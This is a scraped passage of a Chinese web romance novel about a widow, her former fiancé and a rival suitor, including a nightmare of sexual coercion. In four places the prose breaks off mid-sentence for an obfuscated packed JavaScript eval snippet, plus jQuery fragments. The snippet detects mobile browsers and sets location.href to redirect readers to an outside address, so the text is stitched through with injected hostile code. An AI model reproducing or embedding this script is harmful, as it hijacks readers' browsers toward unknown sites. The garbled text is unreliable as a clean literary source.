郑徽说完,本应该离开,却又看着敬渝现在的样子犯了难。 那种借酒消愁的事情,他从前以为是永远不会跟敬渝扯上关系的呢。 但现在,情况已然很明显,并且眼前这个男人买醉的经验还很不充足。 昨天的事,整个敬宅里的人应该都知道,但是具体是怎么回事,大家也不知全貌。站在郑徽的角度上来看,他也只是知道舒小姐把敬渝用心准备的房间给毁了,除此之外,前因后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376264|168356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果,无从得知。 在心里叹了一口气,郑徽脚步没有动,有心想劝一劝敬渝,宽慰他,但又不知道该从哪里开口。 终于,他硬着头皮从嘴里挤出来几个字,道: “敬总,有什么事想不开,你跟我说,我们一起想。” 然后,郑徽就看见自己的老板脸上,非常配合地勾出一个温和的笑容,倒像是反过来在安慰他这个没事人一样。 可自己明明一切都好,而敬渝却看上去要死不活,两相对比之下,郑徽都有点不忍心起来,但他还是把敬渝嘴角的弧度解释为了一种苦涩的情绪。 最后,敬渝没开口说什么,他也只能在原地站了一会儿,然后又提起脚,准备离开。 大概是听到一派寂静之后,他再度动身的窸窣声,敬渝突然睁开了双眼,目光飘忽不定,虚虚地落在眼前,不知道究竟在望向何处。 然后郑徽就听到敬渝直愣愣地说了一句, “你知道么,纯熙本来是我的未婚妻。” 这句话说得没头没尾,像是在跟自己说,又像是在说服他自己一样。 郑徽听得眼皮子直跳,心想这我当然知道啊,然后呢? 然后,敬渝没继续说下去了。 他坐在那儿,动作迟缓地坐正了身子。 脸上好像是一种不得不接受现实的平静,压制着心底里原有的绝望。 但经过这一夜,烈酒浇心,独坐苦想,他的心里好像又有了一点别的什么。 比如,他终于在跟自己的斗争里落了下风,然后不得不承认一件事。 那就是,事到如今,他敬渝,确实枉为君子,只因为他心里还是惦念着他曾经的未婚妻。 无论他告诉自己多少遍,她已经放弃了他,转而选择了他的堂弟,即使敬亭如今死了,这一点也并不会因而有什么改变,他还是会想着舒纯熙。 他想着他们过往的那些回忆,想念那个真诚可爱、率真娇贵的舒大小姐。 想她热烈得如同太阳光一样的爱意,想她全身心的依赖,想她向他撒娇撒泼,想她跟他一连说许多话。 他好想,他无时无刻不在想回到从前的那时候。 但他想这些又有什么错呢? 舒纯熙本来就是他的未婚妻,她本来就应该是他的妻子。 他愣愣地在心里面告诉自己。 郑徽不知道他心里都想了些什么,只是抚着额,有点迟疑地开口,提了一句: “二夫人,是不是已经怀孕了?” 敬渝原本合着的双唇动了一下,终究没有张开的力气,像是搁浅的海鱼一样,无力挣扎。 双肩像是被抽了筋骨一样,颓唐地塌落了下去。 对啊。 舒纯熙怀孕了呢。 他还算什么呢。 他早就是过去式了。 她明明不要他了,事到如今都只是他一厢情愿而已,真是可笑。 敬渝笑出声来,突兀的一声响在书房里,听起来凄惨又悲凉,那一声钻进了骨子里,搅得他浑身的骨头都疼起来。 17. 第 17 章 第十七章、 敬渝言出必行,待到下午两点钟,已然收拾好了自己,下了楼,与等在大门外的郑徽碰面。 男人一席挺拔西装,外面披着一件深色风衣,里面的衬衫纽扣扣到最上面一颗,样式简单的银质领针将双领固定住,抵着上方一条深蓝色的细领带,没入西装里。 目光里流露出一点隐约的疲态,但更多的是如同海浪般将一切吞纳进去的平静,整个人散发着泰然自若的气场,身影却萧索,如同山崖边的一株孤松。 昭示着,早晨他跟自己说出口的那明显带着不甘心的一句话,已经是他这个人能做出的最大的出格,亦是最后的。 敬渝到了公司,处理了几件堆积的事务,就已经到了五点。 郑徽拿着平板,正要跟他汇报下个月暮帆商会的两条新船队要从哪个港口出发,身后办公室的门突然被拍得很响。 那扇深褐色的厚重双开木门,因外面人的急切的动作发出沉闷的声音。 这在暮帆商会,实在是难得一见的事情,毕竟外面是有门铃的。 得是什么样的急事,才能让人慌成这样? 敬渝和郑徽都被吸引了注意力,坐在书桌后的人沉着眉头,朗声说了句“进”。 门从外面被一把打开,又很快合上,进来的人是秘书室的游之翎,瘦高瘦高的一个青年。 游之翎匆忙走到办公桌前面,低声向敬渝报道着几个小时之前才发生的一件事。 “敬总,首都第一医院的人传来了消息,说是祝司长今天中午突发急症,人送到医院的时候就已经走了。 “事发实在突然,他家里人也只能先封锁消息,未发讣告,不过,应该也瞒不了多久了……” 郑徽愕然,上前一步走到游之翎手上,就差激动得抓起他的衣领来, “你说什么?祝司长不是一向身体康健的么,又怎么会突发急症?” 游之翎脸上的表情也不好,声音没有底气地更低了起来,悻悻地说: “线人说,祝司长这么多年都是在首都第一医院里看病、做检查身体的,应当是一直有先天性的心脏隐疾,只是可以让人隐瞒了下去,不曾张扬。” 祝文兵如今六十多的年纪,时任国财政司司长,举足轻重,不想将软肋暴露在大众面前,也是情有可原。 只是突然来了这么一遭,他们倒是措手不及…… 郑徽一言难尽地转过身,看了一眼敬渝的表情。 他神色沉重,面色比起他们来也好不上多少,眼睫颤动几下,从桌后站起身来,就要去拿外套,一边走一边对着身后的两人说: “唐廪留下主事,你们俩跟我一起去北省,尽快,少带些人,不要惊动任何人,现在就去准备。” 说完,后面两人已经各自走动起来,游之翎先出去了,他要去点人、安排飞机跟航线。 而敬渝已经穿好了外套,从衣帽架旁的柜子里找出来一副眼镜,一顶黑色帽子,并一副口罩,往自己身上继续穿戴换装。 “你留下来把之后几天的事情安排好,我要先去一等公狱一趟。” 说完,敬渝就走出门去,手机已经放在耳边,拨通一个电话,拨号等待音响在耳畔,伴随着他快步走到电梯间。 电话那头没有接通,发出冰冷的“滴”声后录音的语句,敬渝拧着眉,只好先上了电梯。 . 舒纯熙这一夜睡得又很不好。 敬渝找她说了那么大一段话,她也说不出来心里面有什么感受。 左耳进右耳出,赌气似的一直在心里嚷嚷着“不听不听”,但大多数时候,她还是像个旁观者一样,冷眼观看着敬渝的剖白过程。 这种事情他以前也常常这么做,得心应手的程度足够被舒纯熙看穿了。 无非是惹她生了气伤了心,没办法了玩脱了,才只好跑过来哄她。 那平时清正严肃的人,一板一眼地同她道歉的样子总是敢怒不敢言的样子,好像每次都要把他自己弄得很“屈辱”的样子,总是惹得舒纯熙觉得很好笑。 随即他再把她这一次非要却没有讨到的东西向她奉上,这件事才算过去。 比如,舒纯熙就曾经用这种方式逼敬渝给她写过一封情书。 他是一贯得会装正经人,仿佛那是一件多么为难他的事,拒绝得义正言辞,非得将自己气得一边抹眼泪大哭一边跑开。 后来的结果毫无悬念,敬渝带着她要的那封情书来她家找她,先是羞红了半边耳朵,给她道歉赔罪,然后故作寻常,一派无事发生的样子,把那封信从书包里拿出来,随手放在手边的矮柜上,扭捏得要死。 舒纯熙没跟他计较太多,毕竟她真的很想知道敬渝这人会写出来什么样的情书。 两步走过去,在他面前得意洋洋地伸出一只手,擦着他身边的空气而过,那封信就到了舒纯熙手边。 大小姐的心里其实颇为激动,此时当然也生了点赧然,到了手的信并没有迫不及待地去打开。 拖鞋“哒哒哒”地在房间里响起,她跑到浴室好好洗了一遍手,然后才又跑出来,拿着那封信扑到床上趴着。 两只腿在空中一下一下地踢着,两只拖鞋很快从脚上褪下砸在地上的绒毯上,没了束缚,她的动作更轻盈,轻晃着,看起来惬意无比。 他今天是来道歉哄人的,没得到当事人的准话,敬渝自然不会自己找地方坐下去,而是就站在门边,没有再往房里走了。 起初那阵子的害羞跟尴尬,也因舒纯熙注意力的转移而散了下去,他眼睛很快移开,看向落地窗外的绿茵日光,还算气定神闲地依着门框,等着人去拆信。 舒纯熙的食指洁净干涩,上面染着洗手液的栀子花清香,拆开了面前这封外表朴素的黄皮纸信封。 她屏息,小心翼翼地从里面拿出来一张白色的信纸。 里面就短短的两行字,遒劲有力的钢笔字力透纸背,誊的是曹植的《洛神赋》。 “翩若惊鸿,婉若游龙,荣曜秋菊,华茂春松。 髣髴兮若轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376265|168356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云之蔽月,飘飖兮若流风之回雪。” 舒纯熙盯着上面的字看了一会儿。 她虽然不能信达雅地把这几句古文都翻译成现代语言,但意思还是看得懂的。 而且,读完一遍,再去看信纸上面的“惊鸿”“游龙”“秋菊”“春松”什么的,她就不自觉得闹了个大红脸。 呼吸放缓,心跳一声一声加速,好像要从胸膛里跳出来一样,哪里还有她一开始趴在床上时幻想的闲适读信的场景啊。 她现在只觉得脸红得厉害,一点都不能冷静思考了。 不过,脑子里面晕乎乎的,但还是在心里面开始窃喜,原来在敬渝心里,他觉得自己就跟春松秋菊一样好吗? 虽然潜意识里总觉得,这家伙不可能老老实实地去写什么情书给自己,所以他写了什么,到底要怎么交差,她才会特别得好奇。 而敬渝的这封信,也确实没有付诸于笔的“喜欢”或者“爱”,只是单纯的夸了她两句。 既见佳人,云胡不喜? 大概就是这个意思吧。 心里面就跟吃了蜜一样甜,先前的委屈和不高兴早就被舒纯熙抛到了脑后,扬着唇角笑得像个五岁小儿。 或许是实在太高兴了,大脑也高兴到了宕机,一瞬间的时空停滞,然后画面忽然就一转。 面侧着被压在木门上面,赤裸的身体暴露在空气里面,冻得要起鸡皮疙瘩。 她看见自己伸出白净纤细的手臂,想把门给反锁。 身后男人的动作猛地一沉,激得她还没有碰到门把手,就只能瑟缩着收回了手。 “……锁门,让我先锁门好不好,嗯……” 语调里不自主地带了点讨好,但讨好没有有,就只能听得出委屈了。 无力地扒在门上的小手,毫不留情地被身后人攥在手里,就好像要攥碎了。 口中发出痛苦的呜咽,求饶的声音还没有发出,她忽然被钉在门后,为了适应他,踮起一只脚,还是站不稳,整个面前只有那门把手可以支撑。 但门都没有锁上,她维持着心里为数不多的清明,知道要是伸了手借力,只会把门给打开。 一时之间,进退维谷,委屈得要哭,身后的人却没有要放过她的意思。 “锁门干什么,打开了,正好把人都引来,让所有都看看你现在这样子?怎么不叫了,怕敬渝听得到么舒纯熙?嗯?” 心脏猛地被一拽,继续无情地捶打着,舒纯熙终于从这噩梦里面挣脱,忽然睁开了双眼,然后身体才后知后觉地求生般大口喘起气来。 她差点就要以为,自己偷偷梦到了敬渝,被敬亭给逮了个正着。 那他应该会弄死我的吧。 舒纯熙没有了睡意,也没有了什么生意,坐起身,找到床头的水喝了一口,望着天边熹微的晨光,在床头缩成一团,紧紧地用双手抱住了自己。 太阳就快升起来了,一点一点把所有地方都照亮,新的一天就要来了。 可惜跟她没什么关系。 18. 第 18 章 第十八章、 舒纯熙这两年的睡眠质量很差,也很不容易入睡,更何况,冰火两重天,刚刚做过那样的一个前后诡异牵强的梦,她其实是不敢睡了,生怕再在梦里见到敬亭。 呆呆地坐在床头,熬着等天亮。 终于,日头升上来,照亮了一整个房间。 舒纯熙才如同被大赦的犯人一样,面如土色地走出门,下楼去吃早餐。 敬渝今天早上依旧不在,舒纯熙进到餐厅里,看见的就只有宗正。 昨天那一遭,宗正虽然一直待在自己的客房不曾露面,但事后还是弄清楚了个大概。 他从前只听说过舒大小姐娇贵,虽然是有些任性天真,但也不是个不讲道理的刁蛮女子。 可是昨天那一闹,砸东西纵火,说是泼妇行径都轻了,他实在是有点看不懂了。 按理来说她已经嫁到夫家,难不成这两年在莫瑞恩尔,那位敬二公子反而还将她宠得更无法无天了么? 莫瑞恩尔那儿有这么多间房子供她砸的么? 宗正被自己这多嘴多舌的行为惊到了,一面在心里告罪,一面在脸上表现得如常,打了个招呼之后,就把目光移开到别的地方。 用完早餐,宗正主动叫住了舒纯熙,提出跟他一起到庄园里走一走。 舒纯熙现在心情和精神都不怎么好,但对方到底是宗正。 她心想之前宗正的那番话,肯定是没有跟自己交完底,所以再谈上一谈,是很有必要的。 就这样,她说服了自己,撑着力气跟宗正一起往后面的花园走去。 一连走到林子深处,宗正也没有率先开口。 舒纯熙只觉得头昏眼花,实在没有了虚与委蛇的耐心,直截了当地说: “昨天宗先生的话,我回去考虑了一下,我很感激你递过来的橄榄枝,不过,我心里始终有一个问题,那就是你为什么会选择娶我?” 宗正的脚步停顿了一下,侧过头看了一眼从一开始脸色就不太好的女人。 有点迟疑,观察着她的脸色,思忖着是否要把昨天的话复述一遍。 只见舒纯熙有些不耐地抬起手,应该是猜到他的回答了,目光凌厉地扫过来,仿佛已经将他看得透彻,冷淡地问: “投之以木桃,报之以琼浆。宗先生既然知道我做这一切是为了什么,那也应该拿出些诚意出来,不是么? “难不成事到如今,宗先生还是不肯说真话么?” 原来如此,宗正笑了一下,也不兜弯子了,直接问道: “我问舒小姐一个问题,你可知敬二公子娶你,是为了什么?” 舒纯熙从鼻子里冷哼一声,面色比刚才更冷若冰霜,心里面的声音乱七八糟地叫嚣着,但那些答案她当然不能真的说出口。 压下心思,她耐着性子思考出了一个看起来最可行的答案,说: “为了保护我?” 宗正赞同地点点头。 “舒小姐说得对,敬亭娶你,是因为他不想让你真的死掉。而偏偏这世上有些人,想要你死。所以他娶了你,可以借着敬家的名号保护你。 “而我想娶你,则是因为,这世上还有一些人,想要你活。” 他神色严肃,目光灼灼,落进她眼里,与她对视。 舒纯熙的心却好像在此刻才触到了实地,逐渐平静了下来,开始运转,得以思考。 片刻后,她眨了一下双眼,丝毫不胆怯地回望过去,追问道: “哪些人,可否请你明示?” 宗正又轻笑着,那笑意里带着点促狭和青年人的意气风发,后退了一步,朝她正正经经地作揖行了一礼。 舒纯熙被他这么隆重的动作给弄得有点不自在,盯着他,然后听到男人浑厚的声音,含着笑意,说: “此为我宗家求娶舒小姐的聘物之一,我在宗家,恭候舒小姐大驾。” 舒纯熙这才迟缓地露出一个笑,只是那笑意不达眼底。 宗正看她这样子,大概是还需要考虑。 这也正常,毕竟不是小事,而且,舒纯熙也没有什么人可以商量着来,只能自己一个人琢磨。 这也是为什么,这次宗家只派了他这个一个同龄人来,若人多势众,坑蒙拐骗,岂不是会成了威逼利诱的坏事? 心中沉吟,舒纯熙率先踏出脚步,带着宗正一起往前走。 “舒小姐对敬宅好像很是熟悉?” 这林子里小径幽深,交叉路口也很多,宗正一路走过来,明显看得出来舒纯熙的了然于心,应该是对这地方很是熟稔的,大概并不是来上五六次就能练出来的。 “嗯,小时候在这里玩得多了,而且这么多年也都没什么变化。” 舒纯熙随口就答道,带着他在一处鹅黄色的美人蕉花丛旁边止住,然后转过来,看样子是思索出了什么结果了。 宗正成竹在胸,洗耳恭听。 “如果我们结婚的话,我希望我们之间可以不要论感情,甚至如果你愿意的话,只有夫妻之名,没有夫妻之实也是可以的。这你可以接受么?” 宗正又惊讶了,他发现舒纯熙总是能说出来让他愕然的话。 但思绪很快就在脑子里过了一下,沉默了一会儿,他反问道: “难道,你其实有意相仿古法,为敬亭守孝三年?或者,你心里其实另有其人?” 这个其人,他又很快猜测为敬渝,只是不能挑明。 舒纯熙在他的追问里感到无奈,继而泄气。 “不是上面的任何一个原因,我只是觉得,如果你想从我这里还要得到一份感情的话,我们都会很辛苦,然后不欢而散……所以这件事我必须得提前跟你说好。” 就比如她的上一任婚姻,当时她嫁给敬亭的时候,他们就是谈感情的,她更是天真愚蠢地觉得自己可以用一份感情去回报他。 然后,她收获的就是一地鸡毛的婚姻生活,跟敬亭成了一对怨侣,至死不得和解,恩人反成仇人。 “实话实说,我虽然是出于利益才想要与你缔结姻缘,但并没有做要过貌合神离的婚姻生活的打算。 “如果你不是因为心里有别人,那是……那是对我有什么误解,亦或是有什么意见吗?如果有的话,那你可以和我直说。 “我一向洁身自好,并没有在男女关系方面有什么前科,结婚以后,也更是不可能有的。” 宗正静静地看着她,言辞还算诚恳。 舒纯熙嗫嚅了几下,这下竟然透露出一点怯懦和犹豫来, “所以,你是想跟我好好培养感情,还要好好地过一辈子?” 宗正拧眉,他心知自己此行,让舒纯熙答应跟他们的结盟才是最重要的。实在不行现在应下,等到婚后再徐徐图之改变她的主意,这也是个方法。 但归根结底,他还是一个执拗的性子,总觉得她既然在这方面都要求了,那就应该在婚前谈判的时候,彻底说开,并且他现在,还很不想接受舒纯熙的建议,甚至想要尽力扭转她的想法。 “不然呢?你不会还要说什么,婚后各过各的、互不干扰吧?我宗家绝没有这样的夫妻。” 宗正有点无奈地按了下眉头,像是拿她没办法了,叹气道: “舒小姐,我的家世你也知道,还是说你觉得,如果我实在是不愿意,又有谁会非要逼着我与你结婚么?” 面前的人继续不语,蹙眉垂头的样子,像是在苦思冥想他的问题。 “所以,你现在有一点喜欢我?或者说,你觉得再给你一点时间,你以后总会喜欢上我的?” 她觉得很奇怪,说出这样的话来她自己都心虚。 但他喜欢她什么呢? 她已经不觉得自己有被真心喜爱的可能了,爱情这种东西她始终是弄不明白了。 她只有两段失败的感情经验,这道题自己从来就没有解出过正确答案。 而舒纯熙身旁的宗正从来没有被人问过这样的问题,一时之间双颊绯红,假模假样地咳嗽了好几声。 “那你呢,你就算不喜欢我,难道讨厌我么?” 他虽然把问题抛了回来,但是并没有否认舒纯熙的猜测。 “我不讨厌你。” 但是不讨厌又有什么用呢? 她早就没有勇气再去经营一份感情了,因为这份感情不可能回报给她任何一点好的结果,她已经不会再蠢得离谱了。 舒纯熙躲避似的摇了摇头,连忙道: “我说的话你好好考虑一下吧,你的话我也要再考虑考虑。” 说完,好像是故意不给他机会再说什么,舒纯熙立刻转了身,快步循着来时路,往回走了。 . 凌晨的梦终究把舒纯熙吓到了,她总疑心自己会回到莫瑞恩尔,回到波利市她跟敬亭的那个家。 但自从回到维尔亚她才敢承认,她其实根本就不想回到那里。 回到房间后,她就开始好好地想宗正今天跟他说过的话,然后在心里推算他说的那些人。 不得不说,他的胃口吊得很足。 而且,今天他还给自己透露了一个十分有用的新信息。 舒家身处的这场政治斗争里,有人要把这颗棋吃掉,就有人要把这颗棋保住,然后,再利用这颗棋吃掉其他的棋。 这个信息无异于久旱逢甘霖。 她于迷雾之中行走了两年多,现在,保棋的人,总算要出现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376266|168356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 而且,如果她没有猜错的话,舒家平反的可能性很大。 毕竟,无论宗家受了谁的授意,抑或只是得到了消息想要提前站队,他们如今的所为,都无异于为舒纯熙心中的那个想法加了足够的砝码。 只有舒家人平反复位的可能性大到一定的程度,才值得宗家主动抛来橄榄枝,不是么? 宗家当然不是为了什么矿山的生意,他们看的更不是现在的自己,他们看的,其实是平复之后的舒家。 届时,她还有什么与宗正不般配的地方? 舒纯熙已经想明白了。首都的局势,她虽然看得不够清楚,但宗家人,已经先一步替她看过了。 当然,这一切都还是建立在,宗正是真的可信的基础上的。 她始终不敢轻信任何人。 就这样想着想着,舒纯熙吃了午饭又吃了晚饭,然后到了要睡觉的时候。 本来白天沉迷在思虑之中,有些事情她还没觉得有太大的影响。但夜幕降临,她看着等到关了灯就会变黑的房间,心里的踌躇滚雪球一样,害得她不敢闭眼。 是啊,早上不是就梦到敬亭了吗,而且今天下午她还跟别的男人考虑再嫁的事情呢,敬亭那种疯子,肯定不会放过她的。 舒纯熙在房间里面坐立不安,思前想后,还是决定去给敬亭上柱香,跟他好好地了结。 但等她穿好衣服下了楼,又站在空悠悠的大厅里犯了难。 敬亭如今的牌位自然是供奉在敬宅的那座祠堂里面,但是现在已经很晚了,她是绝对没有胆子走夜路去祠堂给敬亭上香的。 就这样,拧着眉头站在客厅里面好一会儿,舒纯熙才总算想到一个好方法。 然后她跑上跑下,在厨房还有客厅的储物柜里找出来自己要的东西,在客厅通向前厅草坪的一扇落地窗前摆了一方小型简易的祭拜香案。 一次性纸杯里面盛了小半杯米放在前头,然后又用小碟子盛了几样贡品瓜果,她还尽量捡敬亭以前喜欢吃的拿的,每样量不多,意思一下得了。 然后,一切准备工作就绪。 舒纯熙跪在瓷砖上放着的一个草垫,上身带着大腿都挺直,直愣愣地跪着,在月下祭拜的心很是虔诚。 伸手拿了三支香握在手上用打火机点燃,然后双手合十,她朝着月亮的方向拜了三拜,然后跪坐下来,在心里开始跟敬亭说话。 第一,她说他的死,她很抱歉,确实是自己连累了他,但是他也欠她孩子的一条命,所以就此抵消,以后她也不会再怨他,希望他也不要怨自己; 第二,她说当年你向我伸出援手,从最后你身死的结果来看,我也知道承了你莫大恩情,但你也折磨了我这么长时间,我已然生不如死,也算偿还了你的恩情了; 最后,虽然你刚死没多久我就要再嫁,是有点不道义。但是人死如灯灭,你走了我却还要活。 可要是不再嫁,我恐怕也就没什么好活的可能性了,这一点你应该会理解我的吧。 “敬亭你别怪我,这次你就不要生气也不要嫉妒了,更不要发疯入梦来折磨我。 “我从前没有什么对不起你的地方,现在你死了,我要相亲再嫁了,特地还告知你一声,我实在是仁至义尽。从此往后,你我就没有任何瓜葛了。” 她在心里振振有词。 把要说的话都说完了,舒纯熙只觉得心里面压着的大石头好像是移开了一点,不管怎么样,确实是起到一点心理作用。 她深呼吸一口气,睁开了双眼,再度支起身子向前轻探,好好地把那三根香插进米里。 做完这些,她才有心思分出来去管其他的事。 从刚刚就听得到的动静,现在总算随着皮鞋在地上走动的脚步声化为了实质。 敬渝早在从楼梯下到一楼的时候就看见她了,小小的身影跪在地上,像是一点都不怕凉也不怕累的样子。 看样子,她应该是在祭拜敬亭。 敬渝便没动,静静地站在那里,等她祭拜完了,再朝她走了过去。 一走近,看着地上那张明显是她自己弄的香案,敬渝嘴角一抽,声音努力放得温和,主动跟她搭话,问道: “怎么这时候在客厅上香,是不是区欠洲的时间还没倒过来,夜里会睡不着?” 舒纯熙一手撑着地砖,从草垫上起了身,瞥他一眼。 因为昨天那一桩事横在心头,后面又做了那么个梦,以至于现在不得不在这里给敬亭上香,求得一点心安。 一想到这种种,舒纯熙就实在没有什么好脸色给敬渝,她亦是嘴角一抽,冷冷地问: “敬先生没看见么? “我正在祭奠亡夫。” 19. 第 19 章 第十九章、 敬渝的两只瞳孔在她这声无比自然的“亡夫”里,及不可见地放大了一点,好像微瞪着她一样。垂在身侧的手掌动了动,却又只能干巴巴地放着。最终,男人倏忽间垂下眼帘,不可避免地沉默了下去。 两人相顾无言,静了好一会儿,敬渝才又开了口,这次是言简意赅地向她交代了两句,说: “我现在要去北省一趟,少则三四天,多则不定,消息会暂时对外保密。” 其实他今晚本可以不回来的,让人收拾好行李送去机场就行。 但不知道为什么,从一等公狱离开后,他还是回到了这里。 或许冥冥之中,他还是人生中第一次觉得,在他本可以不留恋的家里,现在也是存在着一个人,让他在出远门之前会想要回来再看一眼的。 尽管时间并不充裕,尽管他心里猜测,此时她已经睡熟了,并不会跟自己遇上。 但现在来看,如果忽略掉她刚刚说的那句话,上天终究还是眷顾他的。 “家里的人都留给你,要是有什么事情,你做主就行。遇上什么解决不了的难事就联系我,或者问柳叔和李阿姨,他们会帮助你解决。 “不管做什么都要注意安全,要出门的话就让柳叔安排车和人,保镖会跟在你身边保护你的。” 临行前的嘱咐就这么几句,他已然说完,然后凝着目光又看了她十几息,得到她抬眼后的一个“嗯”字,他也不再流连,侧转身往外面走。 大门打开,修长的身影隐出去,然后“吱呀”一声,门被人从外面有点重地关上,回归原位。 整栋房子,恢复了一开始的静寂。 舒纯熙眨了眨眼,立刻抬起步子往相反的方向走。 . 敬渝关上门,沉着脸步入夜色之中。 大门外台阶下,一辆保姆车正在等着,后座门缓缓打开,游之翎坐在靠内的后座上,在他靠近后点点头,“敬总,都安排好了,可以出发了。” 敬渝“嗯”了一声,车门关上,司机已经发动车子,掉过头后往外开。车从敬宅出来之后,原本等在庄园外的两辆保姆车也很快跟上,三辆车以差不多的速度疾驶在高速路上,往飞机场的方向去。 后座的敬渝闭上双眼,双手搭在支起的二郎腿上,养心宁神的仰靠着。 副驾驶的郑徽手握平板,正在加班加点的收集首都目前的资料,虽然他知道,现在他们眼前的这件事情,重点还是在于敬渝要如何决断,早已经不是他们提前多掌握点资料,就能够解决的问题了。 但他也不知道除此之外,还能够做点什么,才能在这种要紧的关头,减轻一点心里的煎熬和焦虑。 游之翎虽然没有在做事,但跟郑徽的想法差不多。 司机也不曾说话,本就是夜间行路,此时的氛围称得上是凝滞得有些压抑,他也只好抿着唇,默不作声的同时,踩油门的脚上又加了点力。 忽然,敬渝从沉思里睁开了双眼,偏头看了一眼身旁的游之翎,慢吞吞地问道: “我记得你是抽烟的?” “啊,呃对,怎么了敬总?” 敬渝盯着游之翎的脸看了几息,才继续道: “那你知道,抽烟对身体有伤害吗?” 此时车在高速上飞速奔驰,道上的反光带和高耸的路灯光规律般间断地投进车厢内,忽明忽暗地落在话音刚落的人的脸上。 游之翎因而不太看得清楚敬渝的脸色,只见他瘦削的下巴微扬着,两只眼睛盯着自己在看,以为他是要教育起自己的意思。 心里不免有点奇怪,但是他又观察了敬渝一会儿,旁边的人始终没有再开口说下一句话,看来没有准备一大堆后文,好像真的只是想问他这个问题而已。 半晌,游之翎的心上不去又下不来,才打哈哈似的干笑了两声,回答道: “知道是知道,但是吧,烟这个东西确实是有点瘾,不是那么好戒的嘛。” 敬渝眨了下眼,目光落下去,“唔”了一声,声音低了一点, “那你最开始,是因为什么才去学的抽烟?” 游之翎伸展了上半身,两只手交叠着抵在脑后,变换了一下坐着的姿势,惆怅地叹出了一口气,目光幽幽地盯着前方,开始回想自己最开始抽烟的那个原因。 “要我说,烟有什么好抽的,我也真说不上来。不过一个人学抽烟,大概都有那么一个契机。这种时候,接触到了烟,尝试了,可能就接受了,然后就习惯了,烦的时候就想抽上一根,权当慰藉了。” “所以你抽烟,是因为心里面有烦心事?” “那当然,有些事情堵在心里面久了,想解决吧,又解决不了,但是又没办法真的不去想,越想又越烦,只能自己想办法疏解了,比如抽烟嘛。” “所以,真的管用么?” “管吧,多少也管点用,毕竟事情没办法解决,但是烟还能陪着我嘛,哈哈。” 游之翎又干笑两声,用余光瞥了一眼敬渝,不知道他为什么会聊起这件事情,但男人脸上的神色依旧看不真切,隐没在黑暗里,捉摸不住。 凌晨四点半,敬渝一行人抵达了首都的祝宅。 一家人本应该在睡觉,此时整栋房子里的灯却没有熄灭。 等了没多久,铁门栏杆向两边打开,供车驶入。 到了大门,敬渝和两个秘书下了车,一个青年人已经在门外等着。 祝郧阳与敬渝差不多年纪,看上去有些文弱,许是因为这几天都没有休息好,整个人在风中看上去有点单薄,捂着口鼻狠狠地咳嗽了好几声,呛得满脸通红,好像还没有缓过来气。 敬渝肃穆地颔首示意,低声说了句“节哀”。 “劳烦敬总挂牵,”祝郧阳转过身打开门,带着他们进了门,直接往楼梯处走,“父亲就在书房等您,敬总请跟我来吧。” 一行人动静很小,到了书房,祝郧阳领着敬渝进去后,很快又出来,关好门,然后同游之翎与郑徽一齐在门口等着。 里面的人交谈声很小,几乎听不见,外面的人当然也不会刻意去探听什么,恐怕除了里面的当事人,没有人知道这天晚上,他们究竟谈了些什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376267|168356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 亦或是,在祝文兵已经仙去之后,他们又要做什么,才能继续推进他们原本要做的事情。 …… 话说得差不多,敬渝从椅子上起身,祝正扬亦紧跟着站起来要送他,但跨步之前,他凝望着眼前这个比自己小一辈的青年人,最后还是忍不住犹疑,问出了口。 “所以敬总此番,是真的下定了决心,非要替舒家翻案不可么?” 面前的青年人二十七八岁的模样,面上早不复青涩,取而代之的是不符合年纪的沉稳,像是一把尘封在刀鞘里面的宝刀,虽然没有出鞘,却还是带着让人忌惮的镇定感。 祝正扬跟父亲祝文兵的志向并不一样,关于父亲跟敬渝暗中达成的协定,他也不是很清楚。 但是父亲骤然离世,他按下消息暂时不发,利用这几天的时间让敬渝赶来首都面谈,在讣告公布之前,给他留了点时间转圜,这点面子,他还是愿意卖的。 至于今晚,他们究竟能谈什么,谈得怎么样,又能谈到什么地步,一开始,自己心里并没有底。 